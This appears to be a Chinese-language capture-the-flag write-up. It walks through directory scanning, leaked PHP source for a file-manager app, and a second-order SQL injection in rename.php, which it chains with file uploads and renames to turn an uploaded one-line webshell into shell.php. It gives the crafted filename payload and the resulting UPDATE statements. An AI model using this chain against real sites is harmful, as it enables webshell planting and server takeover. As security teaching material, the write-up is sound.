
dirsearch扫描目录,
[15:59:14] Starting:[15:59:15] 200 - 523B - /js[15:59:15] 200 - 523B - /php[15:59:22] 200 - 523B - /adminphp[15:59:22] 200 - 523B - /adminjs[15:59:24] 200 - 523B - /admin_js[15:59:30] 200 - 409B - /delete.php[15:59:33] 200 - 523B - /index.php[15:59:35] 200 - 523B - /myadminjs[15:59:35] 200 - 523B - /myadminphp[15:59:36] 200 - 523B - /opa-debug-js[15:59:41] 301 - 185B - /upload -> http://111.200.241.244/upload/[15:59:41] 403 - 571B - /upload/[15:59:41] 200 - 0B - /upload.php[15:59:43] 200 - 2KB - /www.tar.gz
看到www.tar.gz,将其下载下来,解压后得到网站源码。
index.php:
<?php/*** Created by PhpStorm.* User: phithon* Date: 15/10/14* Time: 下午7:46*/?><!DOCTYPE html><html><head><title>file manage</title><base href="./"><meta charset="utf-8" /></head><body><h3>Control</h3><ul style="list-style: none;"><li><a href="./delete.php">Delete file</a></li><li><a href="./rename.php">Rename file</a></li></ul><h3>Content</h3><form action="./upload.php" method="post" enctype="multipart/form-data"><input type="file" name="upfile"><input type="submit" value="upload file"></form></body></html>
简单的html,没有漏洞
upload.php:
<?php/*** Created by PhpStorm.* User: phithon* Date: 15/10/14* Time: 下午8:45*/require_once "common.inc.php";if ($_FILES) {$file = $_FILES["upfile"];if ($file["error"] == UPLOAD_ERR_OK) {$name = basename($file["name"]);$path_parts = pathinfo($name);if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {exit("error extension");}$path_parts["extension"] = "." . $path_parts["extension"];$name = $path_parts["filename"] . $path_parts["extension"];// $path_parts["filename"] = $db->quote($path_parts["filename"]);// Fix$path_parts['filename'] = addslashes($path_parts['filename']);$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";$fetch = $db->query($sql);if ($fetch->num_rows > 0) {exit("file is exists");}if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";$re = $db->query($sql);if (!$re) {print_r($db->error);exit;}$url = "/" . UPLOAD_DIR . $name;echo "Your file is upload, url:<a href=\"{$url}\" target='_blank'>{$url}</a><br/><a href=\"/\">go back</a>";} else {exit("upload error");}} else {print_r(error_get_last());exit;}}
上传文件源码,虽然有sql操作,但是都过滤了。
delete.php
<?php/*** Created by PhpStorm.* User: phithon* Date: 15/10/14* Time: 下午9:39*/require_once "common.inc.php";if(isset($req['filename'])) {$result = $db->query("select * from `file` where `filename`='{$req['filename']}'");if ($result->num_rows>0){$result = $result->fetch_assoc();}$filename = UPLOAD_DIR . $result["filename"] . $result["extension"];if ($result && file_exists($filename)) {$db->query('delete from `file` where `fid`=' . $result["fid"]);unlink($filename);redirect("/");}}?><!DOCTYPE html><html><head><title>file manage</title><base href="/"><meta charset="utf-8" /></head><h3>Delete file</h3><body><form method="post"><p><span>delete filename(exclude extension):</span><input type="text" name="filename"></p><p><input type="submit" value="delete"></p></form></body></html>
也是该过滤的都过滤了,没有漏洞
rename.php
<?php/*** Created by PhpStorm.* User: phithon* Date: 15/10/14* Time: 下午9:39*/require_once "common.inc.php";if (isset($req['oldname']) && isset($req['newname'])) {$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");if ($result->num_rows > 0) {$result = $result->fetch_assoc();} else {exit("old file doesn't exists!");}if ($result) {$req['newname'] = basename($req['newname']);$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");if (!$re) {print_r($db->error);exit;}$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];if (file_exists($oldname)) {rename($oldname, $newname);}$url = "/" . $newname;echo "Your file is rename, url:<a href=\"{$url}\" target='_blank'>{$url}</a><br/><a href=\"/\">go back</a>";}}?><!DOCTYPE html><html><head><title>file manage</title><base href="/"><meta charset="utf-8" /></head><h3>Rename</h3><body><form method="post"><p><span>old filename(exclude extension):</span><input type="text" name="oldname"></p><p><span>new filename(exclude extension):</span><input type="text" name="newname"></p><p><input type="submit" value="rename"></p></form></body></html>
在第22行的更新操作中,问题出现了。语句将数据库中的查询到的结果直接拿了出来,并没有过滤,而这就导致了二次注入漏洞。
首先假设我们上传一个一句话木马,接着程序会将文件名和文件扩展名都存入数据库中
+-----+-----------+---------+------+-----------+| fid | filename | oldname | view | extension |+-----+-----------+---------+------+-----------+| 11 | shell | | 0 | .jpg |+-----+-----------+---------+------+-----------+
而rename功能,会将filename进行修改,而extension不会改变
update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}
修改完毕后会将数据库中的filename和extension拼接,使用rename函数来进行重命名。
所以直接上传一个一句话木马,改成shell.php最后会变成shell.php.jpg的形式。那么只要想办法将extension给变成空就可以了,而正好,前面说了程序存在二次注入漏洞。所以构造文件名:',extension='.jpg即可。
详细说下流程,首先上传',extension='.jpg,接着进入rename页面,触发二次注入漏洞,此时注入的语句为
update `file` set `filename`='shell.jpg', `oldname`='',extension='' where `fid`=1
之所以为什么不直接改成shell.php,是因为文件名以及扩展名的获取是在进行update操作之前获取的,所以即使数据库中的扩展名是空的,但是在进行rename操作时还是会被命名为shell.php.jpg。
所以当我们进行过一次rename操作后,数据库中的信息是下面这样的:
+-----+-----------+---------+------+-----------+| fid | filename | oldname | view | extension |+-----+-----------+---------+------+-----------+| 1 | shell.jpg | | 0 | |+-----+-----------+---------+------+-----------+
对应的upload目录中的文件是
shell.jpg.jpg
这样当然是不能解析成php的,但是数据库中的已经完成了,现在数据库中显示有一个文件名为shell.jpg,而扩展名为空的文件。所以我们在上传一个同名文件,并且rename成shell.php就可以了。
上传一个shell.jpg后,数据库中是:
+-----+-----------+---------+------+-----------+| fid | filename | oldname | view | extension |+-----+-----------+---------+------+-----------+| 1 | shell.jpg | | 0 | |+-----+-----------+---------+------+-----------+| 2 | shell | | 0 | jpg |+-----+-----------+---------+------+-----------+
进入rename页面,将shell.jpg改为shell.php
update `file` set `filename`='shell.jpg', `oldname`='shell.php' where `fid`=1
然后使用蚁剑连接即可
